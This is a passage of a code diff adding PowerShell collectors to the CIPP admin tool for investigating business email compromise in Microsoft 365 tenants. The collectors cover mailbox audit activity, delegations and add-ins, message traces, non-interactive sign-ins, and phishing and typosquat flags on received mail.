$true)]$Heuristics, + [string]$Anchor + ) + + $UserOps = @($Heuristics.mailActivity.userOperations) + $OwnerOps = @($Heuristics.mailActivity.mailboxOwnerOperations) + $MaxPages = [int]($Heuristics.caps.mailActivityPages ?? 10) + $GroupCap = [int]($Heuristics.caps.storedMailActivityGroups ?? 500) + $HardDeleteThreshold = [int]($Heuristics.mailActivity.hardDeleteThreshold ?? 20) + + $Groups = @{} + $Errors = [System.Collections.Generic.List[string]]::new() + $Complete = $true + $Cap = $null + $RecordCount = 0 + + $Accumulate = { + param($Record) + $AD = $Record.AuditData + if (-not $AD) { return } + $Operation = [string]($AD.Operation ?? $Record.Operation) + $ClientIP = [string]($AD.ClientIP ?? $AD.ClientIPAddress) + $ClientInfo = [string]($AD.ClientInfoString ?? $AD.ClientAppId ?? $AD.ClientApplication) + if ($ClientInfo.Length -gt 120) { $ClientInfo = $ClientInfo.Substring(0, 120) + '...' } + $AccessType = [string]$AD.MailAccessType + $Actor = [string]$AD.UserId + $Owner = [string]($AD.MailboxOwnerUPN ?? $Actor) + $Key = "$Operation|$ClientIP|$ClientInfo|$AccessType|$Actor|$Owner" + $Count = if ($AD.OperationCount) { [int]$AD.OperationCount } else { 1 } + $When = try { ([datetime]$AD.CreationTime).ToUniversalTime() } catch { $null } + if (-not $Groups.ContainsKey($Key)) { + $Groups[$Key] = [pscustomobject]@{ + Operation = $Operation + ClientIP = $ClientIP + ClientInfoString = $ClientInfo + MailAccessType = $AccessType + LogonType = $AD.LogonType + Actor = $Actor + MailboxOwner = $Owner + Count = 0 + Records = 0 + FirstSeen = $When + LastSeen = $When + } + } + $Group = $Groups[$Key] + $Group.Count += $Count + $Group.Records += 1 + if ($When) { + if (-not $Group.FirstSeen -or $When -lt $Group.FirstSeen) { $Group.FirstSeen = $When } + if (-not $Group.LastSeen -or $When -gt $Group.LastSeen) { $Group.LastSeen = $When } + } + } + + if ($UserOps.Count -gt 0) { + try { + $Search = Search-CIPPBecAuditLog -TenantFilter $TenantFilter -StartDate $StartDate -EndDate $EndDate -Operations $UserOps -UserIds @($UserPrincipalName) -Anchor $Anchor -MaxPages $MaxPages + foreach ($Record in $Search.Records) { & $Accumulate $Record; $RecordCount++ } + if (-not $Search.Complete) { $Complete = $false; $Cap = $Search.Cap } + } catch { + $Errors.Add("user activity search: $((Get-NormalizedError -message $_.Exception.Message))") + } + } + if ($OwnerOps.Count -gt 0) { + try { + $Search = Search-CIPPBecAuditLog -TenantFilter $TenantFilter -StartDate $StartDate -EndDate $EndDate -Operations $OwnerOps -Anchor $Anchor -MaxPages $MaxPages + foreach ($Record in $Search.Records) { + $AD = $Record.AuditData + if (-not $AD) { continue } + if ($AD.MailboxOwnerUPN -ne $UserPrincipalName -and $AD.UserId -ne $UserPrincipalName) { continue } + & $Accumulate $Record + $RecordCount++ + } + if (-not $Search.Complete) { $Complete = $false; $Cap = $Search.Cap } + } catch { + $Errors.Add("send-as search: $((Get-NormalizedError -message $_.Exception.Message))") + } + } + + $Rows = @($Groups.Values | ForEach-Object { + $_.FirstSeen = if ($_.FirstSeen) { $_.FirstSeen.ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + $_.LastSeen = if ($_.LastSeen) { $_.LastSeen.ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + $_ + } | Sort-Object -Property Count -Descending) + + $ByOperation = @{} + foreach ($Row in $Rows) { $ByOperation[$Row.Operation] = [int]($ByOperation[$Row.Operation] ?? 0) + $Row.Count } + $Summary = [pscustomobject]@{ + Records = $RecordCount + ByOperation = [pscustomobject]$ByOperation + MailItemsAccessedCount = [int]($ByOperation['MailItemsAccessed'] ?? 0) + HardDeleteCount = [int]($ByOperation['HardDelete'] ?? 0) + SoftDeleteCount = [int]($ByOperation['SoftDelete'] ?? 0) + SendCount = [int]($ByOperation['Send'] ?? 0) + HardDeleteThreshold = $HardDeleteThreshold + HardDeleteExceeded = ([int]($ByOperation['HardDelete'] ?? 0) -ge $HardDeleteThreshold) + DistinctClientIPs = @($Rows.ClientIP | Where-Object { $_ } | Select-Object -Unique).Count + SendAsByOthersCount = [int](@($Rows | Where-Object { $_.Operation -in $OwnerOps -and $_.MailboxOwner -eq $UserPrincipalName -and $_.Actor -ne $UserPrincipalName } | Measure-Object -Property Count -Sum).Sum) + } + + $Capped = $Rows.Count -gt $GroupCap + $Result = New-CIPPBecCollectorResult -Data @($Rows | Select-Object -First $GroupCap) -Complete ($Complete -and -not $Capped -and $Errors.Count -eq 0) -Cap ($(if ($Cap) { $Cap } elseif ($Capped) { "$GroupCap stored groups" } else { $null })) -Error ($(if ($Errors.Count -gt 0) { $Errors -join '; ' } else { $null })) -Count $Rows.Count + $Result | Add-Member -NotePropertyName 'Summary' -NotePropertyValue $Summary -Force + return $Result +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailboxInventory.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailboxInventory.ps1 new file mode 100644 index 0000000000..a0fc9dfe6c --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailboxInventory.ps1 @@ -0,0 +1,252 @@ +function Get-CIPPBecMailboxInventory { + <# + .SYNOPSIS + Collects the mailbox's current state, its delegation inventory and its add-ins for the BEC check. + .DESCRIPTION + Two Exchange bulk rounds. Round one reads the mailbox (forwarding, send-on-behalf, audit state), + the CAS mailbox (protocol flags), the auto-reply configuration (state, schedule and audience only + - the reply text itself is never stored), FullAccess and SendAs permissions, the Calendar and + Inbox folder ids (display names are locale-dependent) and the mailbox add-ins. Round two reads + the folder permissions for those folder ids and, for room/equipment mailboxes, the resource + delegates. + + Every sub-request is stamped with an OperationGuid and validated individually: New-ExoBulkRequest + swallows transport failures, so a missing or errored part is reported as incomplete rather than + read as "no delegations". + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The investigated mailbox. + .PARAMETER Heuristics + The BEC heuristics object. + .PARAMETER AcceptedDomains + The tenant's accepted domains, used to mark external trustees. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [Parameter(Mandatory = $true)]$Heuristics, + [string[]]$AcceptedDomains = @() + ) + + $Upn = $UserPrincipalName + $LocalPart = ($Upn -split '@')[0] + $AcceptedSet = [System.Collections.Generic.HashSet[string]]::new([string[]]@($AcceptedDomains | Where-Object { $_ } | ForEach-Object { $_.ToLowerInvariant() }), [System.StringComparer]::OrdinalIgnoreCase) + + $Round1 = @( + @{ CmdletInput = @{ CmdletName = 'Get-Mailbox'; Parameters = @{ Identity = $Upn } }; OperationGuid = 'Mailbox' } + @{ CmdletInput = @{ CmdletName = 'Get-CASMailbox'; Parameters = @{ Identity = $Upn } }; OperationGuid = 'CAS' } + @{ CmdletInput = @{ CmdletName = 'Get-MailboxAutoReplyConfiguration'; Parameters = @{ Identity = $Upn } }; OperationGuid = 'AutoReply' } + @{ CmdletInput = @{ CmdletName = 'Get-MailboxPermission'; Parameters = @{ Identity = $Upn } }; OperationGuid = 'MailboxPermission' } + @{ CmdletInput = @{ CmdletName = 'Get-RecipientPermission'; Parameters = @{ Identity = $Upn } }; OperationGuid = 'RecipientPermission' } + @{ CmdletInput = @{ CmdletName = 'Get-App'; Parameters = @{ Mailbox = $Upn } }; OperationGuid = 'Apps' } + ) + foreach ($Scope in @($Heuristics.delegations.folderScopes)) { + $Round1 += @{ CmdletInput = @{ CmdletName = 'Get-MailboxFolderStatistics'; Parameters = @{ Identity = $Upn; FolderScope = $Scope } }; OperationGuid = "FolderStats-$Scope" } + } + + $Bulk = New-ExoBulkRequest -tenantid $TenantFilter -cmdletArray @($Round1) -ReturnWithCommand $true -Anchor $Upn + if (-not $Bulk) { $Bulk = @{} } + + # Pull one operation's rows out of the cmdlet-keyed bulk result; $null when the request never came back. + $GetOp = { + param($Cmdlet, $Guid) + $Rows = @($Bulk[$Cmdlet] | Where-Object { $_.OperationGuid -eq $Guid }) + if ($Rows.Count -eq 0) { return $null } + if ($Rows[0].PSObject.Properties['error']) { throw [string]$Rows[0].error } + return @($Rows | Where-Object { -not $_.PSObject.Properties['Success'] -or $_.PSObject.Properties.Count -gt 2 }) + } + $Errors = @{} + $Fetch = { + param($Name, $Cmdlet, $Guid) + try { + $Rows = & $GetOp $Cmdlet $Guid + if ($null -eq $Rows) { $Errors[$Name] = "$Cmdlet returned no response"; return @() } + return $Rows + } catch { + $Errors[$Name] = "$Cmdlet`: $($_.Exception.Message)" + return @() + } + } + + $Mailbox = @(& $Fetch 'Mailbox' 'Get-Mailbox' 'Mailbox') | Select-Object -First 1 + $Cas = @(& $Fetch 'CAS' 'Get-CASMailbox' 'CAS') | Select-Object -First 1 + $AutoReply = @(& $Fetch 'AutoReply' 'Get-MailboxAutoReplyConfiguration' 'AutoReply') | Select-Object -First 1 + $MailboxPermissions = @(& $Fetch 'MailboxPermission' 'Get-MailboxPermission' 'MailboxPermission') + $RecipientPermissions = @(& $Fetch 'RecipientPermission' 'Get-RecipientPermission' 'RecipientPermission') + $Apps = @(& $Fetch 'Apps' 'Get-App' 'Apps') + $Folders = @(foreach ($Scope in @($Heuristics.delegations.folderScopes)) { + @(& $Fetch "FolderStats-$Scope" 'Get-MailboxFolderStatistics' "FolderStats-$Scope") | Where-Object { $_.FolderType -eq $Scope -and $_.FolderId } | Select-Object -First 1 + }) + + $IsResource = $Mailbox.RecipientTypeDetails -in @('RoomMailbox', 'EquipmentMailbox') + $Round2 = @(foreach ($Folder in $Folders) { + @{ CmdletInput = @{ CmdletName = 'Get-MailboxFolderPermission'; Parameters = @{ Identity = "$($Upn):$($Folder.FolderId)" } }; OperationGuid = "FolderPermission-$($Folder.FolderType)" } + }) + if ($IsResource) { + $Round2 += @{ CmdletInput = @{ CmdletName = 'Get-CalendarProcessing'; Parameters = @{ Identity = $Upn } }; OperationGuid = 'CalendarProcessing' } + } + $FolderPermissions = @{} + $ResourceDelegates = @() + if ($Round2.Count -gt 0) { + $Bulk = New-ExoBulkRequest -tenantid $TenantFilter -cmdletArray @($Round2) -ReturnWithCommand $true -Anchor $Upn + if (-not $Bulk) { $Bulk = @{} } + foreach ($Folder in $Folders) { + $FolderPermissions[$Folder.FolderType] = @(& $Fetch "FolderPermission-$($Folder.FolderType)" 'Get-MailboxFolderPermission' "FolderPermission-$($Folder.FolderType)") + } + if ($IsResource) { + $Processing = @(& $Fetch 'CalendarProcessing' 'Get-CalendarProcessing' 'CalendarProcessing') | Select-Object -First 1 + $ResourceDelegates = @($Processing.ResourceDelegates | Where-Object { $_ }) + } + } + + # A trustee is flagged when it is a guest, an address outside the accepted domains, or a + # catch-all folder principal with more than availability rights. + $TrusteeFlag = { + param($Trustee) + $T = [string]$Trustee + if ([string]::IsNullOrWhiteSpace($T)) { return $false } + if ($T -match '#EXT#') { return $true } + if ($T -match '@') { + $Domain = ($T -split '@')[-1].Trim().ToLowerInvariant() + if ($AcceptedSet.Count -gt 0 -and -not $AcceptedSet.Contains($Domain)) { return $true } + } + return $false + } + $IsSelf = { param($Trustee) $T = [string]$Trustee; ($T -match 'NT AUTHORITY\\SELF') -or ($T -eq 'S-1-5-10') -or ($T -ieq $Upn) -or ($T -ieq $LocalPart) } + + # Identity is what a removal needs to send back to Exchange: the mailbox for mailbox-level + # rights, and mailbox: for folder rights (folder display names are locale-dependent). + $Delegations = [System.Collections.Generic.List[object]]::new() + foreach ($Permission in $MailboxPermissions) { + if ($Permission.IsInherited -eq $true -or (& $IsSelf $Permission.User)) { continue } + $Delegations.Add([pscustomobject]@{ + PermissionType = 'FullAccess' + Resource = $Upn + Identity = $Upn + Trustee = [string]$Permission.User + AccessRights = @($Permission.AccessRights) -join ', ' + Deny = ([string]$Permission.Deny -eq 'True') + Flagged = (& $TrusteeFlag $Permission.User) + }) + } + foreach ($Permission in $RecipientPermissions) { + if ($Permission.IsInherited -eq $true -or (& $IsSelf $Permission.Trustee)) { continue } + $Delegations.Add([pscustomobject]@{ + PermissionType = 'SendAs' + Resource = $Upn + Identity = $Upn + Trustee = [string]$Permission.Trustee + AccessRights = @($Permission.AccessRights) -join ', ' + Deny = ($Permission.AccessControlType -eq 'Deny') + Flagged = (& $TrusteeFlag $Permission.Trustee) + }) + } + foreach ($Trustee in @($Mailbox.GrantSendOnBehalfTo | Where-Object { $_ })) { + $Delegations.Add([pscustomobject]@{ + PermissionType = 'SendOnBehalf' + Resource = $Upn + Identity = $Upn + Trustee = [string]$Trustee + AccessRights = 'SendOnBehalf' + Deny = $false + Flagged = (& $TrusteeFlag $Trustee) + }) + } + foreach ($FolderType in $FolderPermissions.Keys) { + $Folder = $Folders | Where-Object { $_.FolderType -eq $FolderType } | Select-Object -First 1 + foreach ($Permission in $FolderPermissions[$FolderType]) { + $User = [string]($Permission.User.DisplayName ?? $Permission.User) + $Rights = @($Permission.AccessRights) -join ', ' + $IsCatchAll = $User -in @('Default', 'Anonymous') + if ($IsCatchAll -and ($Rights -in @('None', 'AvailabilityOnly', 'LimitedDetails') -or [string]::IsNullOrWhiteSpace($Rights))) { continue } + if ((& $IsSelf $User)) { continue } + $Delegations.Add([pscustomobject]@{ + PermissionType = 'Folder' + Resource = "$Upn`:\$FolderType" + Identity = "$($Upn):$($Folder.FolderId)" + Trustee = $User + AccessRights = $Rights + Deny = $false + Flagged = ($IsCatchAll -or (& $TrusteeFlag $User) -or (& $TrusteeFlag $Permission.User.ADRecipient.PrimarySmtpAddress)) + }) + } + } + foreach ($Delegate in $ResourceDelegates) { + $Delegations.Add([pscustomobject]@{ + PermissionType = 'ResourceDelegate' + Resource = $Upn + Identity = $Upn + Trustee = [string]$Delegate + AccessRights = 'ResourceDelegate' + Deny = $false + Flagged = (& $TrusteeFlag $Delegate) + }) + } + + $TrustedProvider = [string]$Heuristics.mailboxAddIns.trustedProviderRegex + $AddIns = @(foreach ($App in $Apps) { + if (-not $App.DisplayName -and -not $App.AppId) { continue } + $Provider = [string]$App.ProviderName + $UserScoped = -not ($App.Scope -eq 'Organization') + [pscustomobject]@{ + Identity = $App.Identity + DisplayName = $App.DisplayName + AppId = $App.AppId + Enabled = ([string]$App.Enabled -eq 'True') + ProviderName = $Provider + AppVersion = $App.AppVersion + Type = $App.Type + Scope = $App.Scope + DefaultStateForUser = $App.DefaultStateForUser + MarketplaceAssetId = $App.MarketplaceAssetId + Flagged = (([string]$App.Enabled -eq 'True') -and $UserScoped -and -not ($TrustedProvider -and $Provider -match $TrustedProvider)) + } + }) + + $MailboxState = if ($Mailbox) { + [pscustomobject]@{ + PrimarySmtpAddress = $Mailbox.PrimarySmtpAddress + RecipientTypeDetails = $Mailbox.RecipientTypeDetails + ExternalDirectoryObjectId = $Mailbox.ExternalDirectoryObjectId + ForwardingAddress = [string]$Mailbox.ForwardingAddress + ForwardingSmtpAddress = [string]$Mailbox.ForwardingSmtpAddress + DeliverToMailboxAndForward = ([string]$Mailbox.DeliverToMailboxAndForward -eq 'True') + HasForwarding = [bool]($Mailbox.ForwardingAddress -or $Mailbox.ForwardingSmtpAddress) + GrantSendOnBehalfTo = @($Mailbox.GrantSendOnBehalfTo | Where-Object { $_ } | ForEach-Object { [string]$_ }) + AuditEnabled = $Mailbox.AuditEnabled + LitigationHoldEnabled = $Mailbox.LitigationHoldEnabled + HiddenFromAddressListsEnabled = $Mailbox.HiddenFromAddressListsEnabled + WhenMailboxCreated = $Mailbox.WhenMailboxCreated + AutoReplyState = $AutoReply.AutoReplyState + AutoReplyStartTime = $AutoReply.StartTime + AutoReplyEndTime = $AutoReply.EndTime + AutoReplyExternalAudience = $AutoReply.ExternalAudience + AutoReplyHasInternalMessage = -not [string]::IsNullOrWhiteSpace([string]$AutoReply.InternalMessage) + AutoReplyHasExternalMessage = -not [string]::IsNullOrWhiteSpace([string]$AutoReply.ExternalMessage) + OWAEnabled = $Cas.OWAEnabled + ECPEnabled = $Cas.ECPEnabled + EWSEnabled = $Cas.EWSEnabled + IMAPEnabled = $Cas.IMAPEnabled + POPEnabled = $Cas.POPEnabled + MAPIEnabled = $Cas.MAPIEnabled + ActiveSyncEnabled = $Cas.ActiveSyncEnabled + SmtpClientAuthenticationDisabled = $Cas.SmtpClientAuthenticationDisabled + ActiveSyncBlockedDeviceIDs = @($Cas.ActiveSyncBlockedDeviceIDs | Where-Object { $_ }) + } + } else { $null } + + $StateErrors = @('Mailbox', 'CAS', 'AutoReply') | Where-Object { $Errors.ContainsKey($_) } | ForEach-Object { $Errors[$_] } + $DelegationErrorKeys = @('MailboxPermission', 'RecipientPermission', 'CalendarProcessing') + @($Errors.Keys | Where-Object { $_ -like 'FolderStats-*' -or $_ -like 'FolderPermission-*' }) + $DelegationErrors = @($DelegationErrorKeys | Select-Object -Unique | Where-Object { $Errors.ContainsKey($_) } | ForEach-Object { $Errors[$_] }) + $AddInErrors = @(if ($Errors.ContainsKey('Apps')) { $Errors['Apps'] }) + + return [pscustomobject]@{ + MailboxState = New-CIPPBecCollectorResult -Data $MailboxState -Complete ($StateErrors.Count -eq 0 -and $null -ne $Mailbox) -Error ($(if ($StateErrors.Count -gt 0) { $StateErrors -join '; ' } elseif (-not $Mailbox) { 'Get-Mailbox returned no mailbox' } else { $null })) -Count ($(if ($Mailbox) { 1 } else { 0 })) + Delegations = New-CIPPBecCollectorResult -Data @($Delegations | Sort-Object -Property @{ Expression = { $_.Flagged }; Descending = $true }, PermissionType, Trustee) -Complete ($DelegationErrors.Count -eq 0) -Error ($(if ($DelegationErrors.Count -gt 0) { $DelegationErrors -join '; ' } else { $null })) + AddIns = New-CIPPBecCollectorResult -Data @($AddIns | Sort-Object -Property @{ Expression = { $_.Flagged }; Descending = $true }, DisplayName) -Complete ($AddInErrors.Count -eq 0) -Error ($(if ($AddInErrors.Count -gt 0) { $AddInErrors -join '; ' } else { $null })) + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMessageTrace.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMessageTrace.ps1 new file mode 100644 index 0000000000..cd14b24c6d --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMessageTrace.ps1 @@ -0,0 +1,101 @@ +function Get-CIPPBecMessageTrace { + <# + .SYNOPSIS + Walks Get-MessageTraceV2 pages for a sender or recipient with an explicit completeness marker. + .DESCRIPTION + Get-MessageTraceV2 returns at most ResultSize rows per call, newest first, and continues from a + cursor made of the last row's Received time (as the next EndDate) plus its RecipientAddress + (StartingRecipientAddress). This walker follows that cursor up to MaxPages, de-duplicates rows + on trace id + recipient + received, stops when the cursor stalls, and reports + { Rows, Complete, Pages, Cap }. Only trace metadata is returned (sender, recipient, subject, + status, size, IPs, timestamps) - never message content. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER SenderAddress + Trace messages sent by this address. + .PARAMETER RecipientAddress + Trace messages delivered to this address. + .PARAMETER StartDate + Window start (UTC). Get-MessageTraceV2 accepts at most 10 days per query. + .PARAMETER EndDate + Window end (UTC). + .PARAMETER Anchor + Anchor mailbox for the EXO request. + .PARAMETER PageSize + Rows per page (max 5000). + .PARAMETER MaxPages + Page cap; hitting it sets Complete to $false. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [string]$SenderAddress, + [string]$RecipientAddress, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [Parameter(Mandatory = $true)][datetime]$EndDate, + [string]$Anchor, + [ValidateRange(1, 5000)][int]$PageSize = 5000, + [ValidateRange(1, 95)][int]$MaxPages = 5 + ) + + if (-not $SenderAddress -and -not $RecipientAddress) { + throw 'Get-CIPPBecMessageTrace needs a SenderAddress or a RecipientAddress' + } + + $TraceParams = @{ + StartDate = $StartDate.ToString('s') + EndDate = $EndDate.ToString('s') + ResultSize = $PageSize + } + if ($SenderAddress) { $TraceParams.SenderAddress = $SenderAddress } + if ($RecipientAddress) { $TraceParams.RecipientAddress = $RecipientAddress } + + $ExoParams = @{ tenantid = $TenantFilter; cmdlet = 'Get-MessageTraceV2' } + if ($Anchor) { $ExoParams.Anchor = $Anchor } + + $Rows = [System.Collections.Generic.List[object]]::new() + $Seen = [System.Collections.Generic.HashSet[string]]::new([System.StringComparer]::OrdinalIgnoreCase) + $Pages = 0 + $Done = $false + $Stalled = $false + $PreviousCursor = $null + do { + $Pages++ + $Batch = @(New-ExoRequest @ExoParams -cmdParams $TraceParams | Where-Object { $_ }) + $NewCount = 0 + foreach ($Row in $Batch) { + $Key = "$($Row.MessageTraceId)|$($Row.RecipientAddress)|$($Row.Received)" + if ($Seen.Add($Key)) { + $Rows.Add($Row) + $NewCount++ + } + } + if ($Batch.Count -lt $PageSize) { + $Done = $true + break + } + # A full page with nothing new means the cursor is not advancing: stop, report partial. + if ($NewCount -eq 0) { $Stalled = $true; break } + $Last = $Batch[-1] + $LastReceived = try { ([datetime]$Last.Received).ToUniversalTime() } catch { $null } + if (-not $LastReceived -or -not $Last.RecipientAddress) { + # Without a usable cursor the walk cannot continue; report what we have as partial. + $Stalled = $true + break + } + $Cursor = "$($LastReceived.ToString('o'))|$($Last.RecipientAddress)" + if ($Cursor -eq $PreviousCursor) { $Stalled = $true; break } + $PreviousCursor = $Cursor + $TraceParams.EndDate = $LastReceived.ToString('s') + $TraceParams.StartingRecipientAddress = $Last.RecipientAddress + } while ($Pages -lt $MaxPages) + + return [pscustomobject]@{ + Rows = $Rows.ToArray() + Complete = [bool]$Done + Pages = $Pages + Cap = if ($Done) { $null } elseif ($Stalled) { 'paging stalled (cursor did not advance)' } else { "$MaxPages pages of $PageSize rows" } + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecNonInteractiveSignIns.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecNonInteractiveSignIns.ps1 new file mode 100644 index 0000000000..db40672104 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecNonInteractiveSignIns.ps1 @@ -0,0 +1,60 @@ +function Get-CIPPBecNonInteractiveSignIns { + <# + .SYNOPSIS + Collects the investigated user's most recent non-interactive sign-ins. + .DESCRIPTION + Token replay and adversary-in-the-middle sessions show up as non-interactive sign-ins (refresh + token use, background token acquisition) rather than in the interactive log the Quick scope + reads. This reads the beta signIns endpoint filtered on signInEventTypes nonInteractiveUser, + projects the same fields as the interactive list and marks each row as inside or outside the + user's assigned usage location. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id. + .PARAMETER UsageLocation + The user's Entra usage location (ISO country code) for the foreign-location comparison. + .PARAMETER Top + Number of sign-ins to return (newest first). + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [string]$UsageLocation, + [ValidateRange(1, 1000)][int]$Top = 50 + ) + + $SafeId = ConvertTo-CIPPODataFilterValue -Value $UserId -Type Guid + $Uri = "https://graph.microsoft.com/beta/auditLogs/signIns?`$filter=userId eq '$SafeId' and signInEventTypes/any(t: t eq 'nonInteractiveUser')&`$top=$Top&`$orderby=createdDateTime desc" + $SignIns = @(New-GraphGetRequest -uri $Uri -tenantid $TenantFilter -AsApp $true -noPagination $true) + + $Rows = foreach ($SignIn in $SignIns) { + if (-not $SignIn.id) { continue } + $Country = $SignIn.location.countryOrRegion + $Foreign = if (-not $UsageLocation -or [string]::IsNullOrWhiteSpace($Country) -or $Country -eq 'Unknown') { $null } else { ($Country -ne $UsageLocation) } + [pscustomobject]@{ + CreatedDateTime = if ($SignIn.createdDateTime) { ([datetime]$SignIn.createdDateTime).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + id = $SignIn.id + AppDisplayName = $SignIn.appDisplayName + ResourceDisplayName = $SignIn.resourceDisplayName + ClientAppUsed = $SignIn.clientAppUsed + Status = if ($SignIn.conditionalAccessStatus -in @('success', 'notApplied') -and $SignIn.status.errorCode -eq 0) { 'Success' } else { 'Failed' } + ErrorCode = $SignIn.status.errorCode + IPAddress = $SignIn.ipAddress + Country = $Country + City = $SignIn.location.city + UserAgent = $SignIn.userAgent + IncomingTokenType = $SignIn.incomingTokenType + TokenProtection = $SignIn.tokenProtectionStatusDetails.signInSessionStatus + RiskLevelDuringSignIn = $SignIn.riskLevelDuringSignIn + ForeignLocation = $Foreign + } + } + $Data = @($Rows) + $Result = New-CIPPBecCollectorResult -Data $Data -Complete ($Data.Count -lt $Top) -Cap ($(if ($Data.Count -ge $Top) { "$Top most recent sign-ins" } else { $null })) + $Result | Add-Member -NotePropertyName 'ForeignSuccessfulCount' -NotePropertyValue (@($Data | Where-Object { $_.ForeignLocation -eq $true -and $_.Status -eq 'Success' }).Count) -Force + return $Result +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReceivedMailFindings.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReceivedMailFindings.ps1 new file mode 100644 index 0000000000..a03a010434 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReceivedMailFindings.ps1 @@ -0,0 +1,181 @@ +function Get-CIPPBecReceivedMailFindings { + <# + .SYNOPSIS + Finds phishing-shaped mail the investigated user received, from message-trace and Defender metadata. + .DESCRIPTION + Walks the message trace for mail delivered to the user and applies two heuristics to the + metadata: named phishing-subject patterns (urgency, account verification, suspension, prizes, + invoices) and look-alike sender domains within Levenshtein distance 1-2 of one of the tenant's + accepted domains. Where Defender for Office 365 Plan 2 is licensed it also reads the + analysedEmails metadata for the recipient (sender, subject, verdict, delivery action) and keeps + the rows Defender classified as a threat. Nothing here touches message bodies or attachments; + every field comes from trace or analysis metadata. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The recipient. + .PARAMETER StartDate + Window start (UTC). + .PARAMETER EndDate + Window end (UTC). + .PARAMETER Heuristics + The BEC heuristics object. + .PARAMETER AcceptedDomains + The tenant's accepted domains (protected domains for the typosquat check). + .PARAMETER Anchor + Anchor mailbox for the EXO requests. + .PARAMETER IncludeDefender + Also query Defender analysedEmails metadata. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [Parameter(Mandatory = $true)][datetime]$EndDate, + [Parameter(Mandatory = $true)]$Heuristics, + [string[]]$AcceptedDomains = @(), + [string]$Anchor, + [switch]$IncludeDefender + ) + + $MinDistance = [int]($Heuristics.typosquat.minDistance ?? 1) + $MaxDistance = [int]($Heuristics.typosquat.maxDistance ?? 2) + $MaxPages = [int]($Heuristics.caps.messageTracePages ?? 5) + $Patterns = @{} + if ($Heuristics.phishingSubjectPatterns) { + foreach ($Property in $Heuristics.phishingSubjectPatterns.PSObject.Properties) { $Patterns[$Property.Name] = [string]$Property.Value } + } + $KeywordPattern = [string]$Heuristics.phishingKeywordPattern + $Accepted = @($AcceptedDomains | Where-Object { $_ } | ForEach-Object { $_.ToLowerInvariant() } | Select-Object -Unique) + + $Findings = try { + $Trace = Get-CIPPBecMessageTrace -TenantFilter $TenantFilter -RecipientAddress $UserPrincipalName -StartDate $StartDate -EndDate $EndDate -Anchor $Anchor -MaxPages $MaxPages + $Rows = @($Trace.Rows) + + # Typosquat is a property of the sender domain, so evaluate each distinct domain once. + $DomainVerdicts = @{} + foreach ($Domain in @($Rows | ForEach-Object { ([string]$_.SenderAddress -split '@')[-1].Trim().ToLowerInvariant() } | Where-Object { $_ } | Select-Object -Unique)) { + if ($Domain -in $Accepted) { continue } + foreach ($Protected in $Accepted) { + $Distance = Get-CIPPLevenshteinDistance -Source $Domain -Target $Protected + if ($Distance -ge $MinDistance -and $Distance -le $MaxDistance) { + $DomainVerdicts[$Domain] = [pscustomobject]@{ ComparedDomain = $Protected; Distance = $Distance } + break + } + } + } + + $Seen = [System.Collections.Generic.HashSet[string]]::new([System.StringComparer]::OrdinalIgnoreCase) + $List = [System.Collections.Generic.List[object]]::new() + $Add = { + param($Row, $Type, $Severity, $Reason, $Compared, $Distance) + $Key = "$Type|$($Row.MessageTraceId)|$($Row.SenderAddress)|$Reason" + if (-not $Seen.Add($Key)) { return } + $List.Add([pscustomobject]@{ + FindingType = $Type + Severity = $Severity + Reason = $Reason + ComparedDomain = $Compared + Distance = $Distance + SenderAddress = $Row.SenderAddress + SenderDomain = ([string]$Row.SenderAddress -split '@')[-1] + Subject = $Row.Subject + Received = if ($Row.Received) { try { ([datetime]$Row.Received).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } catch { [string]$Row.Received } } else { $null } + Status = $Row.Status + Size = $Row.Size + FromIP = $Row.FromIP + MessageTraceId = $Row.MessageTraceId + }) + } + foreach ($Row in $Rows) { + $Subject = [string]$Row.Subject + $Domain = ([string]$Row.SenderAddress -split '@')[-1].Trim().ToLowerInvariant() + if ($DomainVerdicts.ContainsKey($Domain)) { + & $Add $Row 'PossibleTyposquat' 'ReviewHigh' "Sender domain is $($DomainVerdicts[$Domain].Distance) edit(s) from $($DomainVerdicts[$Domain].ComparedDomain)" $DomainVerdicts[$Domain].ComparedDomain $DomainVerdicts[$Domain].Distance + } + foreach ($Name in $Patterns.Keys) { + if ($Patterns[$Name] -and $Subject -match $Patterns[$Name]) { & $Add $Row 'SubjectPattern' 'Review' $Name $null $null } + } + if ($KeywordPattern -and $Subject -match $KeywordPattern -and -not ($Patterns.Values | Where-Object { $_ -and $Subject -match $_ })) { + & $Add $Row 'SubjectKeyword' 